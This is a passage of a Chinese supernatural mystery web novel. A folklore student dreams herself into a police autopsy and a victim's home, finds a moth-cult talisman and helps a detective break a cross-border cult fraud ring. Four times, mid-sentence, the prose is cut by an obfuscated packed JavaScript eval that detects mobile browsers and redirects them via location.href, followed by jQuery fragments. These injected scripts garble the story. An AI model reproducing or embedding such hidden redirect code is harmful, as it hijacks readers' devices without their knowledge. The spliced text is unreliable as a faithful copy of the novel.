“我觉得,那个丁健的家里人也有点奇怪。”她斟酌着说道,“你之前不是说了吗?丁健9月6日就已经死了,他家里人也很快得到了死讯。可是我朋友却是9月9号到他家里做家教的——为什么在发生了这种能摧毁一个家庭的大事的时候,那个吴敏怡还有心情给自己的儿子找家教?这明显很不正常吧?”
尹修景带着一丝意外看着她:“这是你自己想出来的?”
曲通幽腼腆地点了点头:“嗯,我也是在尹警官你找过我们之后才开始怀疑的——还有,我觉得君茹的那个梦也很奇怪。虽然恶鬼索命在民间传说里面很正常,可君茹和丁健的死毫无关系啊,丁健找一个八竿子打不着的女学生索命,有没有可能,他是为了用无辜人的命为自己续命?尹警官,不知道其他受害者有没有出现过类似的情况?”
16.016
“小同学,你是哪个专业的学生?”
这次开口的却是那个年长的警察。她有些惊讶,又带着点赞许看着曲通幽,一副“我很看好你要不考虑一下转到警校来”的样子。
“民俗学专业。”
“哦,那你成绩一定不错,好好学习啊!”老警察当场失忆几秒钟,转而朝她解释:“你猜得没错,吴敏怡9月7日就已经接到了丁健的死讯。随后她立刻在网上发布寻找家教的招聘启事,又通过B大的李嗣龙联系到了你。而且,丁健的生意在最近半年陷入了困境,他死后吴敏怡的生活失去了经济来源,应该更加窘迫才对。这完全不符合人之常情,因此,这也是我们调查时候的主要疑点。”
“我知道了!那个男的是他老婆杀的!”秦琴突然喊道,一副真相只有一个的激动模样,“因为家里没钱了,所以赶快榨干老公的剩余价值杀夫骗保!警察叔叔你们要不要查一下他们家的保险情况?”
曲通幽:……
虽然表现夸张了点,但这个猜测还挺合理的。
只是她们普通群众都能想到的,警察多半也调查过了。
果然,三个警察只是含蓄地笑了下,然后尹修景站出来主动说道:“今天也不早了,我送你们回学校吧。以后有什么进展的话,我会把能公开的及时告诉你们的。”
他跟三个人一一握手。等到了曲通幽的时候,男人对她露出的笑容都更加真挚了点。
“我们头儿其实刚才是想要挖你来着。”他用只有两个人才能听到的声音戏谑地说,“只不过你的专业另外大有建树,所以她才放弃了。”
曲通幽:……
我听你胡扯,她分明就是觉得我们民俗学手不能提肩不能挑只配考研转专业才能再就业!
曲通幽脸上带着假笑,跟尹修景敷衍地握了握手。
然而,在两只手交握的时候,她的脑海中突然毫无预兆地又冒出了一道影子。
一根漆黑的、雕刻满了字符的手杖,在虚空中缓慢旋转着。杖头突然穿过意识出现在了眼前,在尹修景手上点了一下,一个金色的字符像是火星一样冒了出来,它看起来像是扭曲的“尺”字,转瞬消失在尹修景的手背上。
曲通幽一惊,忍不住脱口而出:“你的手……”
“嗯?我的手怎么了?”尹修景收回手,疑惑地看着自己的手掌。
男人的手宽大有力,掌心和手指都是干干净净的,似乎刚才她看到的如同火星溅落的一瞬只是错觉。
“……没事,我刚才以为是有飞虫……”
曲通幽迟疑着收回视线,和舍友们一起离开的时候,疑惑还盘旋在心头没有散去。
这是那根符箓手杖第二次出现。
第一次它出现是在女生宿舍的楼梯间里,她和被人面飞蛾附身的方君茹殊死搏斗,命悬一线之际被几个字符冒出的火焰救了一命。那之后她无数次想要试着把手杖召唤出来,可却始终没有成功。
现在这东西在自己跟尹修景握手的时候主动冒了出来,难道是说……尹修景其实也已经被鬼怪附身了?
这一天一直到睡觉前她们都没再遇到什么奇怪的事。
虽然白天的经历足够惊悚,但是对于死磕考研的奋斗学生来说,两页英语单词一背,基本就能告别一切凡尘惊心动魄了。
三个女生上完晚自习,一个个心平气和地回了宿舍,等到睡觉的时候,连李乐瑶都不知道这天发生了什么。
“……和之前三个人一样,尸体肺部有一团规则空洞。”
“啧,第一个人都烧焦了吧,你也能看出规则空洞?”
“小魏,你这是质疑我的专业能力?”
“我哪儿敢啊陈大法医,这不是这事太邪乎了吗……”
眼前的景物渐渐清晰,曲通幽看到了一片亮得晃眼的光,还有曝在光下的青白的尸体。
一男一女两个陌生人围在尸体旁边,全副武装地操弄着曲通幽不认识的器械,正在解剖那具尸体。而她就这么站在不远处静静看着。
这是又做梦了?
曲通幽试着动了下身子,然后她惊讶地发现,自己居然从附身的人身上飘了下来,虽然仍然看不到自己的身体,却能以第三视角看着面前的场景了。
她刚才附身的那个人也是全副武装的,从露出来的半张脸能看出来,这人正是白天刚见过的那个刑警尹修景。
什么情况,她不但能做虚构人物的梦,现在还能梦到认识的人的事情了?
不知为何,曲通幽突然想起了白天跟尹修景握手的时候,从脑海里突然蹦出来的那个像是“尺”的字符。
曲通幽试探性往远离尹修景的地方走了几步,并没有感受到任何拉扯力。她看清了更多房间里的细节,也看清了解剖台上的人的样子。
——那是她只见过一次、却印象极其深刻的人,他叫丁健。
意识到这里很可能是丁健尸体的检验现场之后,曲通幽瞬间激动起来。她两步冲到解剖台跟前,不顾那脑袋都被砸破了的尸体的恐怖外表,急切地探头往尸体胸口看去。
她在梦里见到过吕一钧的身体里钻出飞蛾的样子,只要看一眼,她应该就能判断出化阴虫的根源是不是丁健的尸体,然后就能想办法给尹修景提示彻底解决这件事了!
然而她看到的场景却让她有些失望。丁健的腹部被划开,内脏像是杂货摊的货品一样堆在肥厚的脂肪层上,能看到肺部中央有个成人拳头大小的圆形坑洞,表面有些凸起,但形状整体上非常规则,和她之前的梦里飞蛾出来的时候撕开的口子完全不一样。
难道说丁健并没有利用化阴虫复活?那他肺上这个圆洞又是什么?
曲通幽百思不得其解,正准备退回去看能不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324034|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻翻警局的卷宗,好找到其他线索的时候,无意间低了下头,瞬间整个人如坠冰窟。
丁健的脑壳都被砸了个粉碎,有半个眼球都暴露在了空气中。现在,那双眼睛不知什么时候已经睁开来,眼珠子直勾勾盯着曲通幽。
当她的视线和那双眼睛对上的时候,男人僵硬的嘴角缓缓勾起,朝她露出一个绝对称不上善意的扭曲笑容来。
而此时,尸体旁边的三个警察还在交谈着,语气平静,仿佛完全没有注意到尸体的异样。
不对,这么近距离的明显异常,别说是警察,只要是个正常人就不可能发现不了。所以,这尸体是察觉到了她的存在,这个笑容也是特意给她看的!
曲通幽僵在那里,这一刻,旁边的人全都消失了,梦境世界仿佛只剩下她和那个复苏的恶鬼。
曲通幽下意识就想去抓旁边的手术刀。可等手指穿过金属她才意识到,哪怕周围看着无比真实,这里也确实只是一个梦而已。除了面前的鬼怪铺天盖地的恶意之外,只有她自己是真实的。
要杀了他,一定要在他动手前杀了他。不然的话,她一定会死在梦里!
不知从何而来的认知在疯狂尖叫,曲通幽下意识就想起了自己唯一一次对付鬼的经历——她开始回忆那些符箓,想要再次召唤出那团火焰,好把面前这个恶鬼烧干净。
只是,就像她清醒时尝试过很多次的一样,火焰符箓并没有被她召唤出来,不过倒也不是没有好消息,另外一个鲜红的符箓颤悠悠从意识海中浮出,一个像是“尺”字的符号啪一声贴在了恶鬼的那张脸中间。
男人的脸上露出了震惊之色,还没等曲通幽意识到发生了什么,一股强烈的挤压感就从四面八方涌来。
她像是被吸进了一根长长的黑色圆筒中,什么都看不到,耳边传来像是水声一样的咕噜噜的声音,仿佛是她变成了液体被抽水机抽向什么地方。
也不知道过了多久,水声和挤压感一同消失了。曲通幽晕头转向站起来,才发现自己正位于一间宽敞的卧室里。
“你又要出差?行……每天说你忙工作不回家,我跟你要这点钱你都拿不出来?!”
“我都说了最近生意不好做,你节省点怎么了?人家的老婆都知道勤俭持家当好贤内助的,你看看你在家不知道帮我,就知道花钱!”
“好哇丁健,你现在跟我说这话?当初你说让我不用工作你养我的时候怎么说的?!再说了,这钱是我要花的吗?你儿子的成绩差成那样,不得找几个好老师补一补?!”
隔壁传来了激烈的男女争吵声。曲通幽穿门而过,就看到了正吵得面红耳赤的两个人。
女的她不认识,可那个肥胖的男人,却正是她前一刻还看到躺在解剖台上的丁健!
这又是什么情况,难道是她在梦里又做了一个梦,这次来到了丁健还活着的时候?
17.017
客厅里的两个人对曲通幽的突然到来一无所觉,仍然在愤怒争吵着。
“我怎么知道怎么办?!我就是个全职太太,每天在家带带孩子,你当初也说了不喜欢我沾染铜臭味的,现在你问我怎么办……”
女人的声音已经带上了哭腔。她看上去已经不算年轻了,可无论是脸蛋还是身材都保养得风韵十足,看着她这样子,丁健的语气也不自觉软了下来。
“我不是说了,我现在就在想办法吗?”丁健左右看了看,确定这家里没别人了,才小心地从脖子上解下一根红绳,曲通幽就在旁边,能清楚看到红绳上挂着个木牌,木质温润光滑,雕刻的是一座神庙的图样。
“我前两天去问了使者,说是我太久没去供奉,神祖发怒了,所以生意才这么不顺。我得去南兰国一趟,亲自供奉神祖,才能把这事解决了。”
那很可能就是吴敏怡的女人一听这话就皱起眉,脸上带着遮掩不住的嫌弃:“又是那什么神祖啊,在家给他点钱还不够吗?你说出差就是为了这种事?”
“你那是什么态度?!”丁健突然勃然大怒,“要不是神祖,你能过上这种日子?!给我放尊重一点!神祖可是有大神通的,要是冯迁那几个老货知道了,以后咱们就真的别想再起来了!”
吴敏怡被吓得瑟缩了一下,看得出来仍然是不服气的,可嘴上到底没再说什么。
“这事你自己知道就行,对外只说我出差了。”丁健再次叮嘱道,“豪豪的家教你先别急,找个大学生先应付着也行。别找那种家境太好的,那种人见识多,要是神祖的事让他们知道就不好了……”
丁健说着就出了门,没过几分钟,吴敏怡的身影也渐渐淡去了。
房子里只剩下了曲通幽一个人,她没有改变位置,但能感觉到时间在飞快流逝——墙上的时钟一圈圈飞转,偶尔能看到人影一闪即逝,让她捕捉不到是谁。
也不知道过了多久,视野里终于重新出现了清晰的人影。吴敏怡穿着睡衣,披头散发地正在接电话。
“什么?!死……死了?!不可能!我们早上还在通电话的!”
“欠债……哈,我要怎么办?!他死了给我留一屁股债?他为什么不早点死!这事跟我没关系,别找我!”
吴敏怡暴怒地把手机扔到了沙发上,烦躁地抓了抓头发,低声咒骂着:“怎么早不死晚不死……”
啪嗒一声,旁边卧室的门被推开了一条缝。一个少年的头挤了出来。张口就是一道变声期的公鸭嗓:“妈,你刚才跟谁打电话呢?谁死了啊?”
“你那个死鬼爹!这次真成了死鬼了!”吴敏怡毫不遮掩地对儿子吼道。
“啊?!”丁豪大叫起来,“那我夏令营的费用怎么办?我都跟同学说好了都要去米国海边玩的,这钱我爸死了还能交吗?”
“你爸死了你就知道要钱啊?!”
“那我爸死了你不是也就惦记着他的钱啊?你有什么资格说我?”
“你个死讨债鬼!作业写完了没?我告诉你,这次考试你要是再倒数第一,这个学你也别上了!”
少年不以为然地撇了撇嘴,又把头缩回了屋里,手机屏幕的光一闪一闪的,不知道是在跟谁发消息。
吴敏怡把自己摔在沙发上,也拿起了手机。她烦躁地按了几下,嘴里不停低声咒骂着。
忽然间,她突然抬起头来,朝着曲通幽这边直勾勾看过来。
曲通幽心里一紧,以为是这女人也和她老公一样,突然发现了自己在这里。
可很快她就发现不是这样。女人的目光有点愣,但明显是穿过了她,聚焦在后面的什么东西上的。
她也跟着转过身去,背后是门,以及门口处的鞋柜。鞋柜的门是关着的,只能看到上方挂着的衣帽,还有……柜台上放着的什么东西。
曲通幽快步走过去,等看到那是什么,她也和吴敏怡一样愣住了。
那是一根红绳穿着的木牌。
木牌雕刻的是一栋神庙一样的建筑,中间是细高的一座塔,两边是对称的两座宽阔矮庙,猛一看上去,就像是一只大飞蛾的样子。
这牌子她刚刚见过,就在现在已经死在了南兰国的丁健的脖子上!
吴敏怡是刚刚知道丁健的死讯,这东西肯定不会是她带回来的,那它……
客厅里安静极了,吴敏怡慢慢从沙发上站了起来,一步,两步,她像是丧尸一样僵硬地挪动到了鞋柜旁边,伸手拿起了那块牌子。
红绳上有一块块斑驳的污渍,像是血,但吴敏怡却毫无察觉。她把那块木牌举到自己的脸前面,表情木然,看起来就像是在梦游。
“老公!”她突然叫道。
曲通幽左右看了看,除了她以外,客厅里没有第二个人了。
她突然有种奇怪的感觉,仿佛自己才是这个梦境世界的真实的人,吴敏怡,还有那个她看不到的人,其实都是鬼。
吴敏怡仿佛在专心听着什么,过了好一会儿,她才点了点头,像是在回应什么一般说道:“我知道了,豪豪的学习最重要,我这就给他找家教老师。”
“妈,你在跟谁说话?”卧室的门打开,丁豪又探出头奇怪地问道。
可他什么都没看到,只有吴敏怡一个人站在客厅里。
她缓慢回头,明亮的灯光从她头顶正上方照下来,让那张本就白皙的脸更加惨白一片。她肌肉抽动,挤出一个极其不自然的笑容来,答非所问道:“豪豪,你爸说要给你找个家教老师,还记得吗?”
“记、记得,可我爸……”
“这是你爸最大的愿望,咱们得满足他啊。”吴敏怡脸上笑容扩大,却更显得像是假面。丁豪看得有些害怕,敷衍着应付了几句,很快就把头缩了回去。
曲通幽一直在盯着那块木牌。
她已经基本能猜出接下来的剧情了。在吴敏怡拿出手机低头认真聊天,像是在联系人寻找大学生家教的时候,她瞅准时机扑过去抓住了那块木牌。
虽然在梦境中她的身体都是虚无的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330643|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但之前那个解剖室的场景告诉她,还是有一些奇怪的东西能看到她,而且能被她攻击的。这块木牌显然不是科学的东西,也许就和丁健的尸体一样可以被她解决呢?
然而她的手指一次又一次穿过木牌,试了很多次都没办法触碰到它。她还是不死心,一边死死盯着那形似飞蛾的神庙,一边又试图在脑海中召唤符箓。
文明杖没有出现,而吴敏怡已经找到了她需要的人。女人接起电话:“对,大学生家教,最好是女生,家庭条件贫困一点的,要是家里人都不管就更好了……为什么?我们老丁的生意不太好,想帮助一下贫困大学生做慈善不行啊?”
她的声音大得不正常,表情也像是演话剧一样极尽夸张。她的嘴张得很大,曲通幽无奈地看着明显是被鬼附身的吴敏怡,忽然间看到了有什么东西从她嘴里冒了出来。
那是好像两片羽毛一样的触角,从喉咙里伸出来,在舌面上轻轻扫过,就好像女人的嘴里长出了三条舌头一样。在曲通幽视线扫过的时候,那两根触角像是察觉了一般,又快速缩回了她的喉咙里。
只是曲通幽仍然能看到,一只飞蛾的头从女人的喉咙口冒了出来,带着绒毛的前肢牢牢卡着扁桃体的上壁。
那是化阴虫的成体。
化阴虫本来应该是像是米虫大小的一条虫子,要吃光了人的灵魂才能撕开尸体飞出来的。现在看到这东西,说明肯定至少已经有一个人被吃掉了。
不对,比那还要糟糕。在她的梦里,化阴虫的飞蛾飞出去之后就变成了复活最开始的那个人的养料,可是现在,这东西却在没有肢体接触的情况下瞬间附身了吴敏怡这个人,明显是能力变得更强了。
曲通幽突然意识到了什么,她再次凑到木牌旁边,这一次她没有试图再去接触那东西,而是更仔细地观察起了神庙雕刻的细节。
在她一点点检查之后,终于在木牌中央那座高塔的第六层看到了两扇敞开的窗户,窗户里露出一尊被供奉着的人头飞蛾的神像,神像的下面有个牌子,牌子上细得几乎看不到的字写着“丁健”的名字。
果然,并不是化阴虫的能力已经强到了可以随意附身任何人的程度,不然的话它也不用特意把方君茹以家教的工作骗过去,而是随便从周围邻居开始感染了。
它必须通过某种联系先进行第一步感染,比如丁健特意求来的写着自己名字的这木牌,吴敏怡也是因为和丁健有着亲缘的牵扯,所以才能被隔空附体。
只要把这一点告诉警方,他们就能顺着这种联系顺藤摸瓜,找到木牌传出来的地方,从而彻底解决这问题了!
曲通幽心中豁然开朗,就在她准备先离开这房间的时候,原本一直无视她的吴敏怡却突然扭过了头。
她就像是突然发现这屋里还有一个人一样,双手捂住脸发出了尖叫。那张嘴张得快要占据了半张脸,喉咙处的飞蛾就像是惊吓盒里的怪物一样,猛地振翅飞了出来,巴掌大的翅膀带着鳞粉展开,瞬间遮住了曲通幽的全部视线!
18.018
“啊——”
曲通幽一声大叫,猛地从床上坐了起来。
“啊?”
“怎么了怎么了?”
“是幽幽?你没事儿吧幽幽?”
宿舍里的另外三张床几乎是同时传来疑问,都还带着朦胧的睡意。曲通幽看了看窗户,这才发现天还没亮,而自己只是躺在宿舍的床上安稳地做了个噩梦。
“没事,我就是刚做了个噩梦被吓醒了。”她赶紧说道,“你们接着睡吧。”
她看了看手机,此刻是凌晨四点。在她说了没事之后,三个舍友又都陆续睡去了,可她却睡不着。刚才梦中的一幕幕浮现眼前,无论是丁健胸腹打开的尸体还是吴敏怡喉咙里的飞蛾都那样清晰,此刻在安静的床帐中,她才后知后觉地感觉到了害怕。
不对,现在不是害怕的时候。趁还记得那些细节,她应该赶快把这些线索想办法告诉警方。
不过现在他们肯定还没上班呢,还得等到天亮。
反正也睡不着觉,曲通幽顺手就在聊天软件里面搜了下尹修景的手机号。没想到还真的搜出了一个对应的聊天号。头像是个戴着警帽的Q版小人。看起来多半就是尹修景本尊了。
她顺手就递了个好友申请过去,还备注了一下自己的名字。
可她没想到,好友申请刚发出去不到三分钟,那边就已经通过了申请。
【A找猫狗捣蜂窝脑袋卡栏杆别找我:曲通幽同学?你也还没睡?】
曲通幽:……
曲通幽给尹修景默默改了个警察叔叔的备注。
【yoyo:我刚醒。你说的“也”……】
【警察叔叔:嗯,我们刚通宵到现在。】
【yoyo:……辛苦了。】
【警察叔叔:所以考公别考公安,待遇多高都别来,真的会猝死的!】
……真是个实诚的人。
她就不一样了,要是她在火坑里,肯定会不遗余力宣传这里很好,然后骗更多人进来帮自己打工的!
哦不对,扯远了,现在的重点是她要找警察叔叔报案!
曲通幽在心里编了一番瞎话,才打字道:“尹警官,昨天那事也让我受到很大震撼,做梦都是关于它的。不过我在梦里突然想到了一点线索。我听说很多大老板都迷信,丁健之前是去南兰国出差的,有没有可能,他是生意出了问题,就觉得求神拜佛可以改变自己的运势?”
另外一边,熬夜熬得两眼通红的尹修景意外地挑了下眉。
【警察叔叔:这是你自己想出来的?】
【yoyo:嗯,我平时喜欢看推理小说。】
曲通幽想了想自己书架里的死神小学生,自信点头——看扯淡漫画四舍五入也算推理小说了对吧?
【警察叔叔:呵呵,我们头儿眼光还真不错啊,你挺敏锐的。】
【警察叔叔:你反映的这个情况,我们一开始就在调查,还查出了这背后一定有更大的关系网在操纵。但麻烦也麻烦在这里,这张网太大了,牵涉的人身份背景也都不一般,现在我们还没有找到线头。】
他没有明说,想来是因为保密要求。但曲通幽做了个那么清晰的梦,稍微一想也能猜出他们面临的困境。
涉外犯罪团伙,有点本事的邪.教,这本来就是最难搞的两个团体,而他们的目标还是国内类似丁健这样在商场上小有资产的老板们。保密工作想来就做得更好了。
要不是最近这段时间连续死了人,也许这事都捅不到明面上。
不过,他们需要线索,正好她这里有啊!
【yoyo:尹警官,我舍友之前不是见过那个丁健的鬼吗?她提到了一件事我有点在意。她说,当时那个男的对她动手动脚的时候,她看到那人脖子上有一块用红绳穿起来的木牌。之前没提有神佛的事也就没提,你们做尸检的时候有看到那块牌子吗?】
尹修景心头一震,通宵的那点睡意登时烟消云散。他神情严肃,抽了根薄荷糖叼在嘴里,迅速打字:是什么样的牌子?
曲通幽当然知道他们不可能发现那块木牌。在丁健死了以后,木牌就已经通过不知什么方式来到了吴敏怡的身边。她尽量详细地把自己在梦里看到的木牌样子描述了一遍,末了叮嘱道:“尹警官,我感觉那木牌上的建筑很不一般,搞不好就是丁健拜的那尊神。而且我听说,这种人发展信徒都是一家一家来的,你们可以试着从丁健家人身上找找线索。”
尹修景盯着旁边白纸上自己按照曲通幽的描述画出的木牌素描,两眼放光,发自内心地说道:“我知道了,谢谢你提供的线索!另外,也提醒你的舍友注意那个给她提供兼职机会的李嗣龙。他之前有过骗贫困女大学生的前科,其他同事也正在查。”
【yoyo:我知道了,我会提醒她的。】
【yoyo:对了,尹警官,有个事我有点好奇,我舍友去当了个家教都遇到他的鬼魂,你们当时解剖丁健的尸体的时候就没遇到什么奇怪的事吗?】
【警察叔叔:没有啊,你别瞎想,世界上哪有鬼啊。】
曲通幽看着他的回复无声轻笑了一下。
他回答的什么内容都不重要,重要的是他回复得很快,显然是根本没有犹豫直接用官方话术搪塞她了。
这也就代表着,他根本没有仔细回忆当时的场景。也就是说他根本没发现当时丁健的异常,还有当时的她的存在。
这就行了,只要能确定自己在梦里真的只是个虚幻的旁观者,以后她的安全就有保证了。
等等,为什么她要说“以后”?她这个倒霉催的娃,就不能期盼一下未来的生活平顺安康吗?!
接下来的几天,警方没再找过她们,除了曲通幽偶尔还惦记着那天凌晨她交待的线索,其他舍友已经快要完全忘了那件灵异事件了。
一直到某节水课上,曲通幽百无聊赖刷手机,手指往下一滑,突然就看到了一条热搜。
#警方破获重大跨国诈骗案#
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337565|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最开始她并没有意识到这代表着什么,一直到她点进去,看到里面的“南兰国犯罪团伙”“目标群体国内迷信富商”“发展信徒以家庭为单位”……的字眼,她才慢慢直起了身子。
“怎么了怎么了?老师要点名?”同样瘫在她旁边的秦琴垂死病中惊坐起,紧张兮兮地翻着手机,“我得赶紧给乐瑶发个消息让她过来!”
曲通幽摇头:“没事儿,没点名,我刷了条微博有点激动。”
秦琴凑过来看了一眼她的手机,见不是什么明星塌房新闻之后就不感兴趣地又趴回去了,只剩曲通幽仔细翻过每一张照片,看着手机出了神。
这个新闻,说的应该就是丁健卷入的那个团伙吧?
新闻的照片里面有一张模糊的建筑远景,仔细辨认就能看出,这就是当初她在木牌上看到的那座神庙。只是照片的重点并不在这里,所以她也看不出来中间那座高塔的第六层是不是和木牌上一样供奉着飞蛾的神像。
看来尹修景他们真的按照她提供的线索抓到了罪魁祸首,真是可喜可贺。
新闻下面的评论也很热闹,毕竟是今年以来破获的最大的一起跨国诈骗案,听说还解救出了不少被困的国人,好多人都在拍手称快。
【卧槽,主犯捞了十几个亿?国内富豪真是人傻钱多啊,给我尝点.jpg】
【你们就只看到了钱啊?这群畜生手上可是沾了几十条人命!可惜主犯都是南兰人,估计不好判死刑。】
【犯我者虽远必诛!南兰要是不同意引渡,东风伺候!】
“诶——”就在这时,方君茹也发出了一声小小的低呼。
“我之前做家教的那家人的女主人……吴敏怡死了。”方君茹神情复杂地看着另外一条新闻,还发到宿舍群里给她们看。
这条社会新闻就更加模糊了,只说是女子突然暴毙家中,被发现的时候尸体已经高度腐烂生蛆,也就是方君茹对那个家的环境熟悉才认出来的。
可能是化阴虫的源头被捣毁,所以被附身的吴敏怡才死去的吧。
曲通幽的心情也有点复杂,她是不怎么喜欢吴敏怡这个势利的女人的。但在这件事里,她又确实是个无辜的被害者。
如果丁健当初没有利欲熏心信那个邪神,说不定她就……
愣神的时候,手机上的南兰国诈骗团伙新闻已经又多出了很多评论。曲通幽随意翻看着,突然,一条不怎么起眼的评论吸引了她的注意力。
【那些被骗的富豪真是人傻钱多啊,这么粗糙的邪.教也能骗到那么多人。我猜连名字都是随便起的。什么“一钧教”,估计是哪个高层的名字吧哈哈哈哈】
……一钧教??
曲通幽连忙又去仔细翻了翻新闻,果然在视频中听到了含糊的一秒钟的“一钧教”三个字。
在她最初的那个梦里,豢养化阴虫希望自己复活的那个军阀,就叫做吕一钧。
现在这个邪.教也叫做一钧教,难道现实中真的有这样的巧合?
19.019
“你好,师医生,我叫周明玉,是赵医生介绍我过来的。”
“你好,周先生。请问你有哪里不舒服吗?”
“我有点……幻听。对,是幻听,耳朵上的问题。我去做了各种检查,可他们都没查出来什么,赵医生就给我推荐了你。”
曲通幽一脸懵地看着对面穿着白衬衫戴眼镜的斯文男人,好一会才意识到自己又是在师寂明身体里做梦。
自从上次那个飞蛾的事情结束之后,她已经好久没做过梦,都快忘了自己还经历过灵异事件了。可没想到现在又来这一出。
她尝试着想要把意识抽离出来,但那次梦到警察局的旁观者身份好像只是意外,多次尝试无果,她还是看不到这个师寂明的样子。
“是什么时候开始的?具体有什么症状?”
“大概一个多月以前吧。那天晚上我正在家里睡觉,突然听到外面有敲门声。我睡得迷迷糊糊的,爬起来开门,出来才发现外面根本一个人都没有。”
“确定是敲门声吗?”
“我知道你什么意思,一开始我也以为是风吹的门啪啪响,可是第二天晚上,还是那个时候,敲门声又来了。那天晚上我没睡,所以听得很清楚,就是有人在敲我家院子的门。”
“为什么到半夜都没有睡?”
“……你问这个干什么?就是和几个朋友一起打牌玩。当时只有我听见了,我出去开门,外面还是一个人都没有。我朋友就说,让我去医院看看是不是耳朵出了问题。”
“赵医生已经是耳科的专家了。”
“对,对,他给我做了很详细的检查,结论是什么都没有。可是我还是能听到敲门声,每天半夜,大概两点多钟,就那种笃——笃笃——笃,一重两轻一重。敲四五次,这个不固定,然后就消失了。我被逼得实在受不了了,有一天就不睡觉专门等在那里。然后……呼,到了两点四十,我又听到了敲门声。但是门口一个人都没有!”
“你有试着搬家看看吗?”
“有的!我有两晚特意去同事家里住,可还是能听到敲门声!我同事就睡我旁边,我问他有没有听到敲门声,他说我做梦呢。而且,而且……”
“还有什么吗?”
“我不知道是不是我的错觉,那个敲门声,好像越来越近了……一开始,我住在大杂院里,听到的是院外的声音,后来,它好像进了院子,再往后,我住在朋友家的那天晚上,它好像已经开始敲卧室门了……所以,是幻听越来越严重了对吧?”
“我明白了,周先生,这是一套心理测试题,可以麻烦你先做做看吗?”
“你什么意思啊?我就是耳朵有点幻听,又不是精神病!我不做这东西!”
“周先生,你误会了。既然你怀疑是心理作用,那就并非只是耳部的问题。我会给你做一个系统检查,这套问卷就是其中的一部分。”
对面男人脸色稍霁,他接过几张纸,低头刷刷写了起来。
曲通幽在有限的视角内努力伸长脖子,想要看清楚纸上的内容。
她已经发现了,现在师寂明所处的位置并不是上次的那个医生办公室。这里有点像是那种老四合院的屋子,房间里放着几件红木家具,只是房梁上却装了电灯,屋里也随处能看到诸如大个头铝手电筒这种很有年代特色的物件。
对面男人书写的纸也不是处方笺,曲通幽盯着那张像是随便从哪个笔记本上撕下的纸,眼前的雾气渐渐散开了点,她竟然也看清了几个字。
那根本就不是汉字。纸上的每一个色块,都是她不认识的奇怪字符。
这个世界其他地方的文字和她的现实中一模一样,所以这字符肯定不会是通用文字。但那个叫周明玉的男人却毫无障碍写着每一个字,只能说明他看到的东西和自己是不一样的。
曲通幽想起了上一个梦里,师寂明点燃了一张心理测试题然后就召唤回了姚红霞的魂魄,隐约觉得他每次让人做这套题,肯定目的不止那么简单。
“给,还要做什么?”周明玉把纸递给他。
“暂时没有了,我想去周先生你住的地方看看,可以吗?”
“可以,不过我是和其他人一起住的大杂院,你不能让他们知道我有病的事。”
“当然,我们会保护病人隐私的。”
薄雾里有人声和自行车铃声,从时代特征看,和上一次的梦境相差应该不远。周围再次清晰起来的时候,眼前是一扇老式四合院的红漆木门。
“小周怎么这么早就回来了?这是……”
“刘奶奶,今天厂子里放假,这是我朋友,住筒子楼的,想来看看咱们住的老院子。”
“哎唷,筒子楼好哇,那都是单位分房,有自来水有电的。咱们这破院子有什么好看的?就算以前是王府,那现在也百十号人挤着住,打水都要排队去井边……”
“刘奶奶,那你先忙,我们在这边看看。”
视线低了点,应该是男人半蹲下来,仔细看着面前木门的每一个角落。
这扇门曾经应该是华贵的,但太久没有维护,门环锈迹斑斑,红漆也已经大半剥落了。白净修长的手指拈起一片翘起的漆皮,又轻轻叩了叩门钉,“啧”了一声。
“周先生,你晚上听到的是这种声音吧?”
他把手掌平放在木门上,只用指甲一点一点轻轻叩着门钉。一重,两轻,一重。
“对!对对!就是这种,哈……你是说……哈哈……”
“你猜的没错,每天半夜,那东西应该就是在这里用指甲轻轻敲门。”
啪!
“我听不懂你说的——什么东西?!你不是医生吗?你在胡说八道些什么?!”
“周先生,我扶你起来,别着急……其实你也应该有所察觉的,对吧?就算什么都看不到,但是气味呢?还有温度呢?那个时候……你应该猜到了在敲门的是什么吧?”
“我……可是,这怎么可能呢?那东西——怎么会真的存在?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352218|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
